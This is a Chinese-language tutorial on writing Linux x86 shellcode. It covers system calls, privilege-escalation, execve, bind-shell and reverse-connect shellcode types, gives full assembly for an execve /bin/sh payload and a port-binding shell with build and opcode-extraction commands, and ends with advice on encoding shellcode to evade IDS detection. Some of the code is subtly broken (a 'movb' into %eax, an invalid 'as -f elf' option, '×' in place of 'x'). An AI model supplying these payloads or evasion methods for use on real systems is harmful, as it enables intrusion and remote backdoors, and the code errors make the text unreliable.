1. 什么是shellcode
Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被攻击者利用系统的漏洞送入系统中执行,从而获取特殊权限的执行环境,或给自己设立有特权的帐户。
Shellcode是一段高技巧的软件代码,为了小而精,一般直接写为16进制的操作码,当然编写者一般采用C或汇编编写,然后通过汇编程序成为16进制的操作码。
2 Linux系统调用
为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h。
启动一个系统调用需要使用int指令,linux系统调用位于中断0×80。当执行一个int 0×80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。
系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
3 linux 常见的sbellcode
a) 本地提权: 获取root权限,通过系统调用setreuid
b) 执行shell :执行执行/bin/sh ,通过系统调用 execve
c) 开启远程端口:用shellcode在目标计算机上打开一个端口(通讯服务),并将Shell绑定到该端口,攻击者可以放弃入侵时的用的端口
d) 反向连接shellcode:当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用上边的shellcode建立了服务后门,你还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(攻击者的)和端口反向连接到攻击者,也可以设定为在固定的时间段主动来建立连接。
4 Linux shellcode的编写步骤
a) 编写出对应的C程序语言
b) 根据C语言反汇编或者直接编写C语言对应的汇编程序。
c) 调整汇编程序,减小shellcode体积,去掉可能存在的NULL字节。
d) 提取汇编语言对应的16进编码。
5 Linux shellcode 举例
a) /bin/sh shellocde (intel汇编写法)
xor eax,eax eax=0
push eax eax=null
push 0x68732f2f 压栈 //sh
push 0x6e69622f 压栈 /bin
mov ebx,esp ebx=esp指向/bin/sh
push eax eax=null 结束栈null
push ebx 参数2 ebx指向/bin/sh
mov ecx,esp 参数3 ecx指向[“/bin/sh”,NULL]
xor edx,edx 参数4 edx=NULL
mov al,0xb 参数1 eax=0xb
int 0x80
[root@0day linux]# nasm -f elf execve.asm 编写目标文件
[root@0day linux]# ld -o execve execve.o 链接,生成可执行文件
[root@0day linux]# objdump -d execve 获取16进制编码,提取shellcode
b) /bin/sh shellocde (AT&T汇编写法)
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80
[root@0day linux]# as -f elf execve2.asm 编写目标文件
[root@0day linux]# ld -o execve2 execve2.o 链接,生成可执行文件
[root@0day linux]# objdump -d execve2 获取16进制编码,提取shellcode
c 端口绑定
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
push %eax
push $0×1
push $0×2
mov %esp,%ecx
inc %bl
mov $0×66,%al
int $0×80
mov %eax,%esi
push %edx
push $0×8519ff02
mov %esp,%ecx
push $0×10
push %ecx
push %esi
mov %esp,%ecx
inc %bl
mov $0×66,%al
int $0×80
push %edx
push %esi
mov %esp,%ecx
mov $0×4,%bl
mov $0×66,%al
int $0×80
push %edx
push %edx
push %esi
mov %esp,%ecx
inc %bl
mov $0×66,%al
int $0×80
mov %eax,%ebx
xor %ecx,%ecx
mov $0×3f,%al
int $0×80
inc %ecx
mov $0×3f,%al
int $0×80
inc %ecx
mov $0×3f,%al
int $0×80
push %edx
push $0×68732f2f
push $0×6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0×80
[root@0day linux]# as -f elf bind.asm 编写目标文件
[root@0day linux]# ld -o bind bind.o 链接,生成可执行文件
[root@0day linux]# objdump -d bind 获取16进制编码,提取shellcode
6 shellcode逃逸
经典的Shellcode并不是有很多的版本,大多数人员都是采用同样的Shellcode,很少有人自己编写。所以IDS厂商把常见的Shellcode的指纹提取出来,作为验证攻击行为的“特征”,因为Shellcode的基本功能相同,都是诱使目标机器执行这些指令,目标代码在传输和存放时是很容易被IDS或系统察觉的,那么直到被执行前才恢复原来面貌是一个好注意。所以有人通过把代码简单移位,“加密”后的代码没有任何“意义”,到执行前再反向移位,被检测到的概率就小多了,这种方式对躲避IDS是很有效果的。